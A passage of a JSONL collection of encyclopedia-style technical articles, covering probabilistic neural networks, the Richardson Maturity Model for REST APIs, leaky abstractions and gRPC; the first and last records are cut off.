then used for a number of downstream tasks. \n\nFeb  \n2019\n\n**OpenAI GPT-2** shows its power in natural language generation. Trained on 8 million websites, it has 1.5 billion parameters. The model is initially not released to the public due to concerns of misuse (such as fake news generation). However, in November 2019, GPT-2 is released.","meta":{"title":"Neural Networks for NLP","href":"neural-networks-for-nlp"}}
{"text":"# Probabilistic Neural Network\n\n## Summary\n\n\nA Probabilistic Neural Network (PNN) is a feed-forward neural network in which connections between nodes don't form a cycle. It's a classifier that can estimate the probability density function of a given set of data. PNN estimates the probability of a sample being part of a learned category. Machine learning engineers use PNN for classification and pattern recognition tasks. A PNN is designed to solve classification problems by using a statistical memory-based approach that can be supervised or unsupervised. \n\nThe probabilistic neural net is based on the idea of conventional probability theory, such as Bayesian classification and other estimators for probability density functions, to construct a neural net for classification. The widespread use of PNN originated from the usage of kernel functions for discriminant analysis and pattern recognition.\n\n## Discussion\n\n### What is the architecture of a PNN?\n\nThe PNN architecture has four layers: \n\n    + **Input Layer**: \\(p\\) neurons represent the input vector and distribute it to the next layer. \\(p\\) equals the number of input features.\n    + **Pattern Layer**: This layer applies the kernel to the input. It organizes the learning set by representing each training vector by a hidden neuron that records the features of this vector. During inference, each neuron calculates the Euclidean distance between the input test vector and the training sample, then applies the radial basis kernel function. In this way, it encodes the PDF centered on each training sample or pattern. For class \\(j\\), we have \\(n\\_j\\) neurons, for \\(j\\) in \\([1,m]\\).\n    + **Summation Layer**: This layer computes the average of the output of the pattern units for each class. There's one neuron for each class. Each class neuron is connected to all neurons in the pattern layer of that class.\n    + **Output Layer**: This layer selects the maximum value from the summation layer, and the associated class label is determined accordingly.\n\n### Could you explain PNN with a simple example?\n\nConsider the task of classifying the letters O, X, and I. The characters can be in uppercase or lowercase. We consider two features: length and area of each character. Consequently, the training set will have 6 letters `(O,o,X,x,I,i)`. Each training data point will be identified with a `(length, area)` value. For example, `O(0.5,0.7)`, `o(0.2,0.5)`, `X(0.8,0.8)`, `x(0.4,0.5)`, `I(0.6,0.3)` and `i(0.3,0.2)`. \n\nThe input layer of the PNN will have two neurons, one for each feature, that is, one node for length and one for area.\n\nWe have three classes. Each class has two patterns in the pattern layer, one for uppercase and one for lowercase. For example, for class O there are two subtypes (O,o). In total, the pattern layer has six neurons.\n\nThe summation layer will calculate the average value for each pattern type of the pattern layer and output layer will pick the maximum value, thereby determining the suitable class O, X, I. \n\nAn advantage of PNN is that there is no back-propagation training. New pattern units can be added without additional time overhead, since no training is needed; it is automatic.\n\n\n### What are the concepts from which PNN was derived?\n\nThe **Parzen window** density estimation, or the Kernel Density Estimation (KDE), is a non-parametric density estimation technique. It's used to derive a density function \\(f(x)\\). When we have a new training sample \\(x\\) and there's a need to compute the value of the likelihoods, \\(f(x)\\) is used. \\(f(x)\\) takes the sample input data value and returns the density estimate of the given data sample. This doesn't require any knowledge about the underlying distribution and is also used for classification. \n\nParzen windows are seen as a generalization of **k-Nearest Neighbour (KNN)** techniques. Rather than choosing k nearest neighbours of a test point and labelling the test point with the weighted majority of its neighbours' votes, one can consider all points in the voting scheme and assign their weights by using kernel function. \n\nKNN is a non-parametric algorithm based on supervised learning. This is used for classification and regression. The KNN algorithm assumes that similar things exist in close proximity. It considers k nearest neighbours (data points) to predict the class or continuous value for the new data point. \n\n\n### How does PNN work?\n\nThe input layer transmits the characteristics of the sample to the network, specifically the pattern layer. The number of input neurons are the same as dimensions of the sample. \n\nFor the pattern layer, the Euclidean distance between the feature vector of the training sample \\(X\\) and radial center \\(x\\_{ij}\\) realizes matching between the input feature vector and various types in training set. Here, \\(X=[x\\_1, x\\_2, … , x\\_n] \\cdot T\\), for \\(n\\) in \\([1 .. l]\\), and \\(l\\) represents all types of training, \\(d\\) is the dimension of eigenvector, \\(x\\_{ij}\\) is the j-th center of the i-th training sample, and σ is a smoothing factor. The pattern layer also shows \\(m\\) different classes. Among the \\(l\\) neurons, each one belongs to exactly one class.\n\n\\(v\\_i\\) is the output for class \\(i\\) in the summation layer. \\(L\\) is the number of class \\(i\\) neurons. The type corresponding to maximum output in the summation layer is the output type of the output layer, given by\\(Type(v\\_i) = arg max(v\\_i)\\).\n\n\n### How do I select the right smoothing parameter for a PNN?\n\nParticularly when the training dataset is limited, performance of a PNN depends on the right selection of the smoothing parameter σ. Small σ creates a multimodal distribution. Larger σ leads to interpolation between points. Very large σ approaches Gaussian PDF. Intuitively, σ should depend on the density of the samples. \n\nThe simplest technique is to use the standard deviation of training samples for each dimension or feature. Cross-validation (training vs validation datasets) gives better generalization. Clustering is another technique. In **gap-based estimation**, Zhong et al. improved on these techniques by modelling the distances between a training sample and its neighbours. They estimated σ per input feature, noting that estimating σ per feature per class is not as good. \n\n**Genetic algorithms** have been used to estimate σ.  In R language, `pnn` package uses a genetic algorithm from `rgenoud` package to estimate σ.  \n\nKusy and Zajdel studied three techniques from **reinforcement learning**: Q(0)-learning, Q(λ)-learning, and stateless Q-learning. Results were similar to state-of-the-art performance of alternative approaches.  \n\n\n### What are some of the variations of the traditional PNN?\n\n**Enhanced PNN (EPNN)** uses Local Decision Circles (LDCs) that enable incorporation of local information and non-homogeneity existing in the training population. The circle has a radius that limits the contribution of the local decision. The two Bayesian rules used by EPNN are: (a) A global rule that estimates the conditional probability of each class, given an input vector of data considering all training data and using the spread parameter. (b) A local rule that estimates the conditional probability of each class, given an input vector of data existing within a decision circle, considering only the training data. \n\n**Competitive PNN (CPNN)** adds novel competitive features to EPNN to utilize data most critical to the classification process. A competitive layer ranks kernels for each class and an optimum fraction of kernels are selected to estimate the class-conditional probability. \n\n**Supervised Learning PNN (SLPNN)** has three kinds of network parameters that are adjusted through training: variable weights representing the importance of input variables, reciprocal of kernel radius representing the effective range of data, and data weights representing the data reliability. \n\n\n### What are some specializations of PNN?\n\nOften researchers attempt to change the PNN's structure so that it becomes more practical to implement the pattern layer even with large number of training samples. Type of data is also a motivation to specialize. We note a few of these. \n\nZaknich et al. applied PNN for **time series analysis**. Their architecture was modified so that current output depends on current input, preceding five inputs and following five inputs. Thus, their input vector had 11 coefficients. Tested on sinusoidal signals, attenuated and then corrupted with noise, the PNN network produced a smoothened output. Performance improved when the model contained more classes. \n\n**Interval PNN** is a PNN that classifies interval data. As is common in practical applications, the training dataset may be accurate but test data contains less precise measurements. This imprecision is handled by the model using intervals. \n\n\n### What are the applications based on PNN?\n\nPNN's main applications include classifying labelled stationary data patterns or patterns with time-varying PDF. In signal processing, PNN considers waveforms as patterns and thereby recognizes specific events and their severity. In one example, PNN was used to recognize 11 types of disturbances in power quality using waveforms of voltage magnitude, frequency, and phase. \n\nPNN is applied to pattern recognition problems such as character/object/face recognition. PNN brings flexibility, straightforward design and minimal training time.\n\nFor text-independent speaker identification, PNN provides good results in matching speaker for each input vector. To increase the success rate, multiple input vectors from each sample are needed. \n\nThe figure shows PNN applied to ship identification. Even with a noisy image has been used as input of neural network, PNN performs well. Covariance matrix of discrete wavelet transform of ship image is used as input. \n\nPNN is used for overcoming the computational complexity involved in performing sensor configuration management in a wireless ad-hoc network. \n\n\n### What are the pros and cons of PNN?\n\nIn a PNN, there's no extensive training computation time associated with networks that use back-propagation. Instead, each data pattern is represented with a unit that measures the similarity of the input pattern to the data patterns. PNN learns from the training data instantaneously. With this speed of learning, PNN has the capability to adapt its learning in real time, deleting or adding training data as new conditions arise. Additionally, PNNs are relatively insensitive to outliers and approach Bayes optimal classification as the number of training samples increases. PNNs are guaranteed to converge to an optimal classifier as the size of the representative training set increases.\n\nHowever, PNN has its limitations. Because there's one hidden node for each training instance, more computational resources (storage and time) during inference.  Additionally, the performance of the system usually decreases in terms of the classification accuracy and speed with a very big hidden layer. \n\n\n### Which are the main research approaches to improve PNN performance?\n\nTo reduce expensive computational times and storage requirements of a full Parzen window classifier, a weighted-Parzen window classifier is an option. A **clustering** procedure is used to find a set of reference vectors and weights that are used to approximate the Parzen window (kernel estimator) classifier. For clustering, even k-means algorithm can be applied. The basis is that not all the patterns contain original, independent, and discriminating information. Thus, clustering can reduce the number of neurons in the pattern layer. \n\nWhen input samples have too many features, **Principal Component Analysis (PCA)** can be used to reduce the number of features. \n\nFor optimization and alteration of spread parameters in PNNs, in **heteroscedastic PNN** (hetero - different, skedasis - dispersion), the kernels of each class are allowed to have their own spread parameter matrix. \n\nThe issue of data heterogeneity and noisy datasets are addressed by **EPNN**, by implementing Local Decision Circles (LDCs) to modify the spread parameter of each training vector and bi-level optimization to find the optimal value of spread parameter and radius of LDCs. \n\n## Milestones\n\n1962\n\nParzen discusses the problem of estimation of a PDF and the problem of determining the mode of a PDF. He also relates the similarity of the problem of estimating a PDF to the problem of estimating the spectral density function of a stationary time series. While the problem of estimating the mode of a PDF is almost similar to the problem of maximum likelihood estimation of a parameter. \n\n1966\n\nIn an attempt to perform classification for pattern recognition, Specht uses a Bayes strategy to merely transform the problem to one of estimating PDFs for each of the possible categories on the basis of training samples available. This is accomplished with an estimator which a) is shown to be consistent (tends to be identical with the true density in the limit as the number of training samples is increased to infinity and b} can be expressed in terms of a polynomial, the coefficients of which can be computed on a one-pattern-at-a-time basis. \n\n1990\n\nSpecht introduces the term Probabilistic Neural Network, for a neural network that replaces the sigmoid activation function often used in neural networks with an exponential function. A PNN can compute nonlinear decision boundaries which approach the Bayes optimal. Architecturally, the neural network is designed to have four layers that can map any input pattern to any number of classifications. This technique offers a tremendous speed advantage for problems in which the incremental adaptation time of back propagation is a significant fraction of the total computation time. \n\n1991\n\nIn order to compensate the flaw of PNN of not being robust with respect to affine transformations of feature space, leading to poor performance on certain data, a weighted PNN (WPNN) is derived. This allows anisotropic Gaussians, i.e. Gaussians whose covariance is not a multiple of identity matrix. \n\n2000\n\nMao et al. propose two improvements to the PNN: select a suitable smoothing parameter using a genetic algorithm and then select a representative set of pattern layer neurons from the training samples using Forward Regression Orthogonal Algorithm. A similar research was published independently by Chen et al. in September 1999. \n\n2007\n\nA modified PNN for brain tissue segmentation with MRI is proposed. Here, covariance matrices are used to replace the singular smoothing factor in the PNN's kernel function, and weighting factors are added in the pattern of summation layer. This weighted PNN (WPNN) classifier can account for partial volume effects that exist commonly in MRI, not only in the final result stage, but also in the modelling process. \n\n2010\n\nAn enhanced and generalized PNN (EPNN) is proposed using local decision circles (LDCs) to overcome the shortcoming of PNN wherein it doesn't consider probable local densities or heterogeneity in training data. Also, EPNN improves PNN's robustness to noise in data. \n\n2011\n\nA Supervised Learning PNN (SLPNN) is proposed with three kinds of network parameters that can be adjusted through training. The SLPNN is slightly more accurate than MLP and much more accurate than PNN. \n\n2016\n\nConsidering that spread has a great influence on PNN's performance, a self-adaptive PNN (SaPNN) is proposed. In this, spread can be self-adaptively adjusted and selected and then the best selected spread is used to guide the SaPNN train and test. This SaPNN has a more accurate prediction and better generalization performance as compared to basic PNN. \n\n2016\n\nA modified PNN (MPNN) is introduced which is an extension of PNN with the weight coefficients introduced between pattern and summation layer of the model. These weights are calculated by using the sensitivity analysis procedure. MPNN improves the prediction ability of the PNN classifier. \n\n2017\n\nA Competitive PNN (CPNN) is presented wherein a competitive layer ranks kernels for each class and an optimum fraction of kernels are selected to estimate the class-conditional probability. Performance percentage of CPNN is found to be greater than or equivalent to that of traditional PNN.","meta":{"title":"Probabilistic Neural Network","href":"probabilistic-neural-network"}}
{"text":"# Richardson Maturity Model\n\n## Summary\n\n\nConsider remote web servers as huge repositories of data. Client applications can access them via APIs. It could be public data such as weather forecasts, stock prices, or sports updates. Data could be private such as company-specific business information that's accessible to employees, vendors or partners.\n\nREST (REpresentational State Transfer) is a popular architectural style for designing web services to fetch or alter remote data. APIs conforming to the REST framework are considered more mature because they offer ease, flexibility and interoperability. **Richardson Maturity Model (RMM)** is a four-level scale that indicates extent of API conformity to the REST framework. \n\nThe maturity of a service is based on three factors in this model: URI, HTTP Methods and HATEOAS (Hypermedia). If a service employs these technologies, it’s considered more mature. This model covers only API architectural style, not data modeling or other design factors.\n\n## Discussion\n\n### What are the different levels in the Richardson Maturity Model?\n\nRMM has four levels of maturity, from the lowest to highest:\n\n    + **Level-0: Swamp of POX**: Least conforming to REST architecture style. Usually exposes just one URI for the entire application. Uses HTTP POST for all actions, even for data fetch. SOAP or XML-RPC-based applications come under this level. POX stands for *Plain Old XML*.\n    + **Level-1: Resource-Based Address/URI**: These services employ multiple URIs, unlike in Level 0. However, they use only HTTP POST for all operations. Every resource is identifiable by its own unique URI, including nested resources. This resource-based addressing can be considered the starting point for APIs being RESTful.\n    + **Level-2: HTTP Verbs**: APIs at this level fully utilize all HTTP commands or verbs such as GET, POST, PUT, and DELETE. The request body doesn’t carry the operation information at this level. The return codes are also properly used so that clients can check for errors.\n    + **Level-3: HyperMedia/HATEOAS**: Most mature level that uses *HATEOAS (Hypertext As The Engine Of Application State)*. It's also known as HyperMedia, which basically consists of resource links and forms. Establishing connections between resources becomes easy as they don’t require human intervention and aids client-driven automation.\n\n### Could you illustrate the RMM levels with an example?\n\nConsider the example of creating, querying, and updating employee data, which is included in the Sample Code section.  \n\nAt Level 0, an employee's last name would be used to get employee details. Though just a query, HTTP GET is not used instead of HTTP POST. Response body would need to be searched to obtain the employee details. If there's more than one employee with the same last name, multiple records are returned in proprietary format.\n\nAt Level 1, specificity is improved by querying with employee ID rather than with last name. Each employee is uniquely identifiable. This implies that each employee has a unique URI, and therefore is a uniquely addressable resource in REST.\n\nWhile Level 1 uses only POST, Level 2 improves upon this design by using all the HTTP verbs. Query operations use GET, update operations use PUT and add operations use POST. This also ensures sanctity of employee data. Appropriate error codes are returned at HTTP protocol layer. This implies that we don't need dig into response body to figure out errors.\n\nAt Level 3, response about an employee includes unique hyperlinks to access that employee's records.\n\n\n### What are the characteristics of RMM Level 0?\n\nAPI at this level usually consists of functions passing the server object and the name of the interface to the server object. This is sent to the server in XML format using the HTTP post method. The server analyses the request and sends the result to the client, also in XML. If the operation fails, some sort of error message will be in the reply body.\n\nAt Level 0, you can do an actual object transfer between the client and server, not just its representation state (as in REST). Object data can be in standard formats (JSON, YAML, etc.) or in custom formats. If it’s SOAP, the specifications are in an accompanying WSDL file. \n\nHTTP is used in a very primitive manner, just as a tunnelling mechanism for the client’s own remote operations. For that matter, other application layer protocols such as FTP or SMTP can also be used. \n\n\n### What are the characteristics of RMM Level 1?\n\nLevel 1 employs several URIs, each of which leads to a specific resource and acts as an entry point to the server side. This aspect is common with Levels 2 and 3.\n\nRequests are delivered to the specific resource in question, rather than simply exchanging data between each individual service endpoint. While this seems like a small difference, in terms of function it’s a critical change. The identity of specific objects is established and invoked. Only arguments related to its function and form are passed to each object/resource. \n\nFrom this level onwards, it is always HTTP as the application layer protocol. The key non-conformity to REST in this level is disregarding the semantics of HTTP. Only HTTP POST is used for all CRUD (Create, Read, Update, Delete) operations. The return status and data retrieved are all in the body of the HTTP response. \n\n\n### What are the characteristics of RMM Level 2?\n\nThe emphasis in this level is on the correct usage of the various HTTP verbs, especially the use of GET and POST commands. By restricting all fetch operations to GET, an application can guarantee safety and sanctity of the data on the server side. Caching of data at client side for quicker access becomes possible too. \n\nThe model calls this level *HTTP Verbs*. It implies that only HTTP can be used. Actually, REST architectural pattern doesn't mandate the use of HTTP. It's entirely protocol neutral. \n\nAt the server side, the 200 series of HTTP response codes should be used properly to indicate success, and the 400 series to represent different types of error.\n\nTaken together, levels 1 and 2 clarify at a high level (such as in server logs) what resources are being accessed, for what purpose, and what happened.\n\nThe non-conformity here is quite subtle. The API at this level lacks the transparency for the client to navigate the application state without some external knowledge, generally present in supplied documentation. \n\n\n### What are the characteristics of RMM Level 3?\n\nIn order to ensure complete conformance to RESTful architecture, the final hurdle is to provide smooth navigation for the client throughout the application. This is supported through Hypermedia controls.\n\nThe HTTP responses include one or more logical links for the resources that the API accesses. That way, the client doesn’t have to rely on external documentation to interpret the content. Because the responses are self-explanatory, it encourages easy discoverability. This is done using **HATEOAS (Hypertext as the Engine of Application State)**, which forms a dynamic interface between the server and client. \n\nOne obvious benefit is that it allows the server to change its URI scheme without breaking clients. As long as the client-facing URI is maintained intact, the server can juggle around its resources and contents internally without impacting the client. Service updates in the application become seamless without service disruption. \n\nIt also allows the server team to inform the client of new features by putting new links in the responses that the client can discover.\n\n\n### What sort of applications can still be designed with Level 0 or Level 1 APIs?\n\nPlenty of online services belong to RMM Level 0 or 1 such as Google Search Service (now deprecated) and Flash-based websites. However, these are slowly being phased out. \n\nIf you are designing a monolithic service that performs only one major function, then probably a Level 0 API would suffice as there is no need for multiple URIs. Level 0 is adequate for a service of short-term purpose that's not meant to be extended or upgraded. Think of an exam result declaration website as an example. Its use is restricted to a few days when the results are out. After that, it would just become inactive and irrelevant. There is just one function that the web service performs: it returns an individual student’s pass/fail state. If a few resources are to be accessed, then Level 1 can be employed.\n\nIn cases where HTTP is not desired as the transport mechanism, then Level 0 APIs written using SOAP can work even with alternatives like FTP or SMTP. \n\n\n### When does it become necessary to have APIs designed at Level 2 or Level 3?\n\nWeb products and solutions are increasingly being deployed using the SaaS distribution model. To support this, design and manufacturing models are also service-oriented (SOA). They are exposed as microservices, a loosely coupled collection of services. \n\nPopular cloud-based subscriptions such as mobile services, streaming web content, office automation products are all deployed in this fashion. Such services are essentially designed with APIs conforming to the Levels 2 and 3 of the model.\n\nApplications choose Level 2 or 3 due to some additional factors – (1) Need to work even with limited bandwidth and computing resources (2) Rely on caching for greater performance (3) Stateless operations \n\nLower level APIs like SOAP can be compared to an envelope. It has content inside, address written outside. Content is obscured from public view. However, higher levels that conform to REST are like a postcard. Entire content is directly visible. Though this aspect brings a lot of transparency and discoverability, there is a security threat perception associated with the data. Applications take care of this aspect using security features such as in the Spring framework. \n\n\n### What are the other models used to judge the design standards of remote application interfaces?\n\nRichardson Maturity Model classifies applications with varying levels of API maturity based on conformance to REST framework.\n\nThere is another model called the **Amundsen Maturity Model**, which classifies APIs based on their data model abstraction. At higher levels of this model, the API is more decoupled from the internal models or implementation details. \n\n## Milestones\n\nMar  \n1998\n\nDave Winer introduces **XML-RPC**, a lightweight rival of SOAP. SOAP development is held up due to several disagreements. Hence, XML-RPC comes out first. About this time (February 1998), W3C releases **XML Version 1.0**. \n\nMay  \n2000\n\n**Simple Object Access Protocol (SOAP)**, originally developed at Microsoft, becomes a W3C recommendation. It marks the beginning for web services between clients and remote web servers. SOAP is widely adopted by most emerging companies like Salesforce, Ebay and Yahoo. \n\n2000\n\nRoy Fielding, unhappy with SOAP implementation comes out with a protocol neutral architectural style called **REST**. This is published as his PhD dissertation at UC Irvine. REST is just a set of design principles at this stage. \n\n2003\n\nAmazon S3, a file hosting service, releases APIs with support for URI and HTTP verbs. But the design doesn't provide resource links. Instead, resources are marked by unique key-value pairs. \n\n2004\n\nAdobe, Netflix and some other major service providers adopt web services design, supporting hypermedia links in their responses. This open API design is greatly appreciated. \n\n2008\n\nAfter analysing hundreds of web service designs, Leonard Richardson comes up with a model that helps to distinguish between good and bad designs. His yardstick is purely based on API maturity. This model is popularly referred to as **Richardson Maturity Model (RMM)**. \n\n2015\n\nNews aggregators and media companies like The Guardian and Wall Street Journal upgrade their web services for better REST conformity. Now their services are compliant with Level 3 of the Richardson Maturity Model, with hypermedia controls. \n\n2016\n\nRodríguez et al. publish results of a study on HTTP traffic from an Italian mobile internet provider's network. They note most APIs conform to RMM Level 2, implying a focus on providing CRUD access to individual resources. Even when some APIs are at higher levels of maturity, there's wide variation in the adoption of best practices. For example, use of trailing forward slash in URI is not recommended. Use of lowercase and hyphens (rather than underscores) in URI is recommended. \n\n2018\n\nAdobe releases Hypermedia driven UI framework for remote web services called Granite UI. Granite UI is an umbrella name for UI projects to build a LEGO® architecture for UI, so that one can build complex web applications with much less code.","meta":{"title":"Richardson Maturity Model","href":"richardson-maturity-model"}}
{"text":"# Leaky Abstractions\n\n## Summary\n\n\nIn any large system of many components, it's impossible to keep in view full implementation details of all components. To manage complexity better, it's helpful to abstract away the details of other components when working on a particular component. Each component talks to other components via **interfaces** without worrying about the implementation details of those components. It's for this reason that **abstractions** are used. \n\nSometimes an abstraction is not perfect. When an abstraction fails to hide some of the underlying implementation details, we call this a **leaky abstraction**. In this case, client users of that interface will experience wrong or unsatisfactory behaviour. Clients can mitigate this by considering implementation details behind the interface and changing the way they use the interface.\n\n## Discussion\n\n### Could you explain leaky abstractions with an example?\n\nLet's take the example of hashing that takes plaintext and produces a hash out of it. This problem is so well defined that application programmers rarely need to write their own implementation. Many libraries are available for hashing and their interfaces nicely abstract away the implementations. Programmers rarely need to bother how the hashing is implemented. They can simply treat hashing as a \"black box\". Hashing is an example of a good abstraction. \n\nAn example of a leaky abstraction is Axios that wraps the *fetch* JavaScript API in browsers. When there's an HTTP error, Axios will coerce it into JavaScript error. This behaviour is different from *fetch* that treats even HTTP 404 responses as successful responses. Axios behaviour may work for many use cases but it's not the general case. Some applications may not want this behaviour. \n\nConsider a database search. A MySQL query containing `LIKE 'abc%'` is fast but one containing `LIKE '%abc%'` is slow. This is because indices use binary trees in which the latter search is not optimized. Thus, the implementation is exposed and clients have to be aware of this. \n\n\n### Which are the different types of leaky abstractions?\n\nIn some examples of leaky abstractions, we find that **performance** is affected. An MySQL query may run lot slower than expected. An array access may take lot longer than expected. \n\nIn other examples, we find that the **behaviour** is not as expected of the abstraction. An HTTP 404 status code is coerced into a JavaScript error. A database orchestration layer promises support for transactions when in fact it can't achieve this when dealing with multiple SQL and NoSQL databases. A single call to the service layer results in six HTTP calls when in fact the caller expects only one. \n\nAnother variant, or perhaps a related leak, is called **technical leak**. This can be stated as \"it compiles, but doesn't work\". For example, an interface would work only if the methods are called in a certain order. This is a technical leak that's called *temporal coupling*. Another example is initializing an object before using it or closing a database before destroying the object. Technical leaks require developers to learn something about the implementation even when it has nothing to do with business logic. \n\n\n### What does the Law of Leaky Abstractions say?\n\nThis is a phrase coined by Joel Spolsky in 2002. It says, \n\n> All non-trivial abstractions, to some degree, are leaky.\n\nSpolsky gives many examples where leaky abstractions arise. TCP provides higher layers reliable transport and delivery of packets. However, TCP can't do anything if a cable is cut or there's an overloaded hub along the way. The abstraction therefore leaks. \n\nWhen iterating over a 2-D array, performance shouldn't differ if you iterate by rows versus by columns. Ideally, a programmer should not care about how the array is stored in memory. In reality, when virtual memory is involved and page faults happen, some memory accesses may take a lot longer. C++ string class is another example of leaky abstraction. They're not first-class data types. On a string instance `s`, we can do `s + \"bar\"` but when we do `\"foo\" + \"bar\"` we have to recognize that strings are really `char*` underneath. \n\nIn conclusion, abstractions are good when writing code but we still have to learn what's underneath them. High-level languages with abstractions are paradoxically harder to work with since we have to learn what these abstractions are attempting to hide. \n\n\n### How can developers overcome leaky abstractions?\n\nAbstractions reduce complexity but they're not perfect. If an abstraction leaks too much, remove it or create a better one. If you're writing an abstraction, document its limitations. Abstractions are good but having too many adds complexity, as noted by David J. Wheeler, \n\n> All problems in computer science can be solved by another level of indirection, except for the problem of too many layers of indirection.\n\nGiven that at least some abstractions will leak, developers could create a **wrapper** around the abstraction. The application is required to call this wrapper rather than the original abstraction. This wrapper would modify the behaviour into what the application expects. \n\nIn a more extreme case, the developer **reimplements** the functionality to suit the application. This is not a good practice since, with the loss of the abstraction, the application becomes more complex. \n\nAnother approach is to **code between the lines**. The developer understands the implementation behind the abstraction (such as how memory is allocated) and contorts the code to suit that implementation. Code becomes more complex, less readable and less portable to other platforms. \n\n## Milestones\n\n1974\n\nThe fact that abstractions leak is recognized in the design of high-level programming languages that tend to abstract low-level details. A quote by Niklaus Wirth is relevant here,\n\n> I found a large number of programs perform poorly because of the language’s tendency to hide “what is going on” with the misguided intention of “not bothering the programmer with details.”\n\n1980\n\nIn the context of programming languages, some decisions taken by language designers are seen to be **pre-emptive**, that is, they constrain developers to use the language in a specific way. For example, a developer needs two triangular arrays but is forced to use two rectangular arrays (more memory) or pack them into a single rectangular array (complex code). We may say that the abstraction provided by the language doesn't suit such specialized use cases. \n\n1992\n\nGregor Kiczales explains leaky abstractions at a workshop. He proposes to divide an abstraction into two parts: one that does abstraction in the traditional way and another that allows clients some control over the implementation. He calls this an **open implementation** supported by meta-level architectures and metaobject protocols. For designing meta-level interfaces he notes four design principles: scope control, conceptual separation, incrementality and robustness. \n\n2002\n\nJoel Spolsky on his blog *Joel on Software* coins and explains the phrase \"Law of Leaky Abstractions\". \n\n2006\n\nRyan Bemrose of Microsoft states a corollary to the Law of Leaky Abstractions, \"An abstraction should not hide or disable that which it abstracts\". He gives an example of an IRC bot that could interface with third-party plugins. The IRC protocol itself is abstracted via an object-oriented interface. It's discovered that plugins that use custom modes can't function properly because such functionality was disabled by the abstraction. Abstractions are useful but we shouldn't attempt to abstract away everything. \n\nApr  \n2017\n\nAt the ContainerWorld 2017 conference, one speaker notes that **containers** are also leaky abstractions. Processes running inside containers have to sometimes know about I/O performance, versions, configurations, garbage collection of old images, etc. In one example, it's seen that two containers contending for the same IO are affected.","meta":{"title":"Leaky Abstractions","href":"leaky-abstractions"}}
{"text":"# gRPC\n\n## Summary\n\n\nTightly integrated monolithic applications of the past gave way to modular design. With the growth of the Internet, different parts an application could reside in different servers and accessed over the network using what we *Remote Procedure Call (RPC)*. With the advent of cloud computing, applications are composed of microservices. These microservices are loosely integrated but their interfaces are precisely defined using APIs. \n\ngRPC is a framework that enables the implementation of highly scalable and performant application whose parts are distributed over a network. The framework abstracts away the low-level networking details from app developers so that they can focus on the application logic. Developers need not worry about how one part calls a functionality in another remote part. gRPC takes care of this and enables more responsive real-time apps. \n\n**gRPC** is a recursive abbreviation that expands to **gRPC Remote Procedure Call**.\n\n## Discussion\n\n### How has gRPC come about?\n\nSince the 1990s, networking has played an important part of computing infrastructure. In distributing computing, one computer can trigger an action on another remote computer. CORBA, DCOM and Java's Remote Method Invocation(RMI) were used to make this possible. As the web matured in early 2000s, RPC methodology started relying more and more on HTTP, XML, SOAP and WSDL. The idea was to use standardized technologies for interoperability regardless of languages or platforms. With Web 2.0 and cloud computing, HTTP/XML/SOAP combination was replaced with HTTP/JSON, which resulted in REST. Cloud applications were composed of microservices and these communicated via REST APIs. \n\nMore recently, smartphones and IoT devices are invoking these microservices. These devices have limited compute power, communication bandwidth or both. In such cases, HTTP/JSON with REST is seen as an inefficient approach. gRPC solves this problem. In fact, back in 2016, within it's data centers Google made about 100 billion RPC calls per second. At that scale, Google calling REST APIs would have been inefficient. \n\n\n### What are the essential elements of gRPC?\n\nOne way to summarize gRPC is that, \n\n> It's a lean platform using a lean transport system to deliver lean bits of code.\n\n**gRPC** is the platform. **HTTP/2** is the transport. **Protocol Buffers** deliver lean bits of code. Together, they reduce latency and improve efficiency. \n\ngRPC depends on HTTP/2. HTTP/2 supports bidirectional streaming, flow control and header compression. Moreover, multiple requests can be sent over a single TCP connection. \n\nWhen distributed parts of an application need to communicate with one another, data needs to be serialized. Protocol Buffers is used as the *Interface Definition Language (IDL)* to specify both the service interface and the structure of the payload messages. Thus, the specification is developer-friendly. In addition, data is sent on the wire in an efficient binary format. The encoding and decoding is transparent to the developer and done automatically by the framework.\n\ngRPC is about services and messages, not objects and references. gRPC is language agnostic: developer can use any programming language. gRPC is payload agnostic: the use of Protocol Buffers is not required. gRPC provides authentication out of the box. \n\n\n### What are the benefits of using gRPC?\n\nIn the world of RESTful JSON API, there can be problems of version incompatibility: the API has changed at the server, and client is using an older version. Writing a client library along with authentication is also extra work. The use of HTTP/1.1 is also a poor fit for streaming services. Because JSON data is textual, it takes more bandwidth. It also takes more work to encode and decode JSON. \n\nWith gRPC, both client and server code are generated by the compiler. gRPC comes with language bindings for many popular languages. The use of Protocol Buffers solves the efficiency problem of JSON. Bidirectional streaming is possible and authentication is part of the framework. \n\nProtobuf ensures backward compatibility and offers validations and extensibility. Protobuf provides static/strong typing that REST lacks. This minimizes the overhead of encoding. \n\nCompared to other RPC frameworks, gRPC speaks the language of the web (HTTP/2), comes with multiple language bindings, and therefore makes it easier for developers.\n\n\n### What are the different gRPC life cycles?\n\ngRPC life cycles include: \n\n    + **Unary**: This is the simplest one. When client calls a server method, server is notified with client metadata for this call, method name and deadline. Server may respond with its own metadata or simply wait for client's request message. Once request is received, server will execute the method, then send response and status code to client.\n    + **Server Streaming**: Similar to the unary case, except that server sends a stream of responses.\n    + **Client Streaming**: Similar to the unary case, except that the client sends a stream of requests. Server need not wait for all requests before sending a single response.\n    + **Bidirectional Streaming**: This starts with a client request but subsequently client and server can read or write in any order. Each stream operates independent of the other. It's really application dependent.gRPC calls can be either synchronous or asynchronous. Since networks are inherently asynchronous, asynchronous calls are recommended so that current thread is not blocked. \n\n\n### Where does gRPC fit within the communication stack?\n\ngRPC is the framework layer that interfaces to the transport layer below and to the application layer above. In fact, gRPC makes it easier for application developers to make RPC calls over the network since the framework abstracts away all the low-level network operations. By using HTTP/2 for transport, gRPC benefits from all the performance enhancements that HTTP/2 offers over HTTP/1.1.\n\nDevelopers can write apps in any language of their choice. To ease the job of calling framework APIs, gRPC provides language bindings in many popular languages. The core of gRPC is implemented in C for performance reasons. These language bindings are therefore wrappers over the low-level C API. \n\nFinally, application code can be fully hand-written but it's possible to generate boilerplate code based on message definitions. For example, if we use protobuf for data serialization, the *protobuf compiler* can be used to generate request/response and client/server classes. The developer can therefore focus on writing her application to invoke the methods of these generated classes. \n\n\n### What are some myths surrounding gRPC?\n\nHere are some myths about gRPC:\n\n    + gRPC works with only microservices: gRPC can be used in any distributed app that needs to communicate over the network.\n    + gRPC depends on protobuf: Protocol Buffers are used by default but any other suitable data serialization protocol can be used depending on specific app requirements. JSON could be useful when data must be human readable or data needs to be directly consumed by a web browser.\n    + gRPC will replace REST: This may happen in future but right now both will probably coexist and even interwork. Prefer REST for interoperability and gRPC for performance. It's easy to directly consume REST APIs with tools such as curl, but gRPC tooling may improve to offer similar functionality.\n    + gRPC is only for server-side communications: Web browsers can also use gRPC. 